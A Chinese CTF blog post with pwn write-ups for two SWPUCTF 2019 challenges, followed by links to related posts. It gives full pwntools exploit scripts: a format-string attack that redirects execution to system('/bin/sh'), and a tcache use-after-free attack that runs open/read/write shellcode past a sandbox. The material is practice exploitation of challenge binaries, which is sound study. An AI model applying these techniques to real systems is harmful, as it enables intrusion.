来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总)。

SWPUCTF_2019_login

  32位程序,考点是bss段上的格式化字符串。用惯onegadgets了,而对于32位程序来说,onegadgets似乎不太好用,条件太苛刻了。还是用system拿shell好一点。

  我见网上都是打got表拿的shell,我是修改程序执行流程为system拿的shell。

  修改0xffc2e7a8 —▸ 0xffc2e7b8为0xffc2e7a8 —▸ 0xffc2e79c

  然后让0xffc2e79c指向system。第一次输入的name信息输入"/bin/sh\x00"的位置正好可以当作system的参数来拿shell。

 1 from pwn import *
2
3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-x86.so'})
4 libc = ELF('./libc-2.27-x86.so')
5 context.log_level = 'debug'
6
7 def fun(content):
8 p.sendlineafter('again!\n',content)
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 p.sendafter('name: \n','/bin/sh\x00')
14 p.sendlineafter('password: \n','%15$p-%6$p')
15 p.recvuntil('password: ')
16 libc_base = int(p.recv(10),16)-241-libc.symbols['__libc_start_main']
17 p.recvuntil('-')
18 stack = int(p.recv(10),16)
19 print 'libc_base-->'+hex(libc_base)
20 print 'stack-->'+hex(stack)
21 system = libc_base+libc.symbols['system']
22 print 'system-->'+hex(system)
23
24 payload = '%'+str((stack-0xc)&0xff)+'c%6$hhn'
25 fun(payload)
26 payload = '%'+str(system&0xff)+'c%10$hhn'
27 fun(payload)
28
29 system = str(hex(system))
30 system = system[:-2]
31 payload = '%'+str((stack-0xc+1)&0xff)+'c%6$hhn'
32 fun(payload)
33 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
34 fun(payload)
35
36 system = system[:-2]
37 payload = '%'+str((stack-0xc+2)&0xff)+'c%6$hhn'
38 fun(payload)
39 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
40 fun(payload)
41
42 system = system[:-2]
43 payload = '%'+str((stack-0xc+3)&0xff)+'c%6$hhn'
44 fun(payload)
45 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
46 fun(payload)
47
48 p.sendline('wllmmllw')
49 p.interactive()

SWPUCTF_2019_p1KkHeap

  Ubuntu18.04的环境,保护全开,而且有沙箱保护。

  如果调用execve会跳转到0011,会被KILL掉。(我猜的)

  所以这题只能通过orw来拿flag。

  程序存在uaf漏洞,并且对free限制了只可以用3次,所有功能的总次数也有限制。反正我正好,一次不多,一次不少的用完了所有次数。

  free两次,泄露heap地址,同时利用double free来劫持tcache结构体,写入一些数据使得再free的chunk进入unsortedbin而不是tcache,就可以拿到libc的基地址,然后利用结构体任意写。在程序初始化的时候mmap了一块可读可写可执行的地址,往那个地址写orw的shellcode,我最后是打exit_hook为shellcode的地址,程序退出的时候输出了flag。

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11 def add(size):
12 p.sendlineafter('Choice: ','1')
13 p.sendlineafter('size: ',str(size))
14 def edit(index,content):
15 p.sendlineafter('Choice: ','3')
16 p.sendlineafter('id: ',str(index))
17 p.sendafter('content: ',content)
18 def show(index):
19 p.sendlineafter('Choice: ','2')
20 p.sendlineafter('id: ',str(index))
21 def delete(index):
22 p.sendlineafter('Choice: ','4')
23 p.sendlineafter('id: ',str(index))
24
25 add(0x80)
26 delete(0)
27 delete(0)
28 show(0)
29 p.recvuntil('content: ')
30 heap_addr = u64(p.recv(6).ljust(8,'\x00'))
31 print 'haap_addr-->'+hex(heap_addr)
32 add(0x80)
33 edit(1,p64(heap_addr-0x250))
34 add(0x80)
35 add(0x80)
36 edit(3,p64(0x0700000000000000))
37 add(0x80)
38 add(0x80)
39 delete(4)
40 show(4)
41 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.symbols['__malloc_hook']
42 exit_hook = libc_base+0x619060+3840
43 print 'libc_base-->'+hex(libc_base)
44 edit(3,p64(0x0700000000000001)+p64(0)*7+p64(exit_hook)+p64(0)*6+p64(0x66660000))
45 add(0x80)
46 buf = 0x66660000+0x100
47 shellcode = shellcraft.open('./flag')
48 shellcode += shellcraft.read('rax',buf,100)
49 shellcode += shellcraft.write(1,buf,100)
50 payload = asm(shellcode)
51 print len(payload)
52 edit(6,payload)
53 add(0x10)
54 edit(7,p64(0x66660000))
55 print p.recv()

SWPUCTF 2019 pwn writeup的更多相关文章

  1. SWPUCTF 2019总结以及部分WP

    本次SWPUCTF开赛了,一共做了5个misc+2个web,RE和Android没时间看= =,pwn完全不会,果然又是和去年一样划水.题目都出的很不错,做题的时候思路其实也容易想到,剩下几个web有 ...

  2. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  3. 西湖论剑2019部分writeup

    做了一天水了几道题发现自己比较菜,mfc最后也没怼出来,被自己菜哭 easycpp c++的stl算法,先读入一个数组,再产生一个斐波拉契数列数组 main::{lambda(int)#1}::ope ...

  4. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  5. Insomni'hack teaser 2019 - Pwn - 1118daysober

    参考链接 https://ctftime.org/task/7459 Linux内核访问用户空间文件:get_fs()/set_fs()的使用 漏洞的patch信息 https://maltekrau ...

  6. ISCC2018 Reverse & Pwn writeup

    Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...

  7. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

  8. NepCTF pwn writeup

    上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...

  9. HGAME2021 week4 pwn writeup

    第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...

随机推荐

  1. SpringCloud升级之路2020.0.x版-38. 实现自定义 WebClient 的 NamedContextFactory

    本系列代码地址:https://github.com/JoJoTec/spring-cloud-parent 实现 WeClient 的 NamedContextFactory 我们要实现的是不同微服 ...

  2. JVM 是用什么语言写的?

    JAVA中就虚拟机是其它语言开发的,用的是C语言+汇编语言  基于此之上就是JAVA本身了  虚拟机只起到解析作用另外,JAVA并不比C语言慢,说JAVA慢一般是九十年代那时候的JAVA, 而现在 在 ...

  3. [bzoj1391]order

    考虑最小割,即最少要去掉多少收益先S向所有机器连边,流量为购买费用:所有机器向工作连边,流量为租借费用:工作向T连边,流量为收益那么对于每一个工作,要么割掉连向T的边,要么购买/租借所有机器,同时由于 ...

  4. 【Java面试题】-- Java基本类型

    Java基本类型 2019-11-03  19:03:48  by冲冲 1.两个float型相减丢失精度,如何解决? 使用BigDemical装饰器模式 public class Test { pub ...

  5. javascript-初级-day02-this关键字

    day01-获取元素的第二种方法 <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-T ...

  6. PIC16 bootloader之UART bootloader

    了解更多关于bootloader 的C语言实现,请加我Q扣: 1273623966 (验证信息请填 bootloader),欢迎咨询或定制bootloader(在线升级程序). PIC16 bootl ...

  7. 曼哈顿距离最小生成树 codechef Dragonstone

    曼哈顿距离最小生成树 codechef Dragonstone 首先,对于每一个点来说有用的边只有它向它通过 x=0,y=0,y=x,y=-x 切出来的八个平面的最近点. 证明 我不会 反正当结论记住 ...

  8. ACAM 题乱做

    之前做了不少 ACAM,不过没怎么整理起来,还是有点可惜的. 打 * 的是推荐一做的题目. I. *CF1437G Death DBMS 见 我的题解. II. *CF1202E You Are Gi ...

  9. python项目——新闻管理系统

    DAO(Data Access Object) 数据访问对象是一个面向对象的数据库接口 控制台的输入输出都是再app.py里面完成的  mysql_db.py import mysql.connect ...

  10. perl练习——FASTA格式文件中序列GC含量计算&perl数组排序如何获得下标或者键

    一.关于程序: FUN:计算FASTA文件中每条序列中G和C的含量百分比,输出最大值及其id INPUT:FASTA格式文件 >seq1 CGCCGAGCGCTTGACCTCCAGCAAGACG ...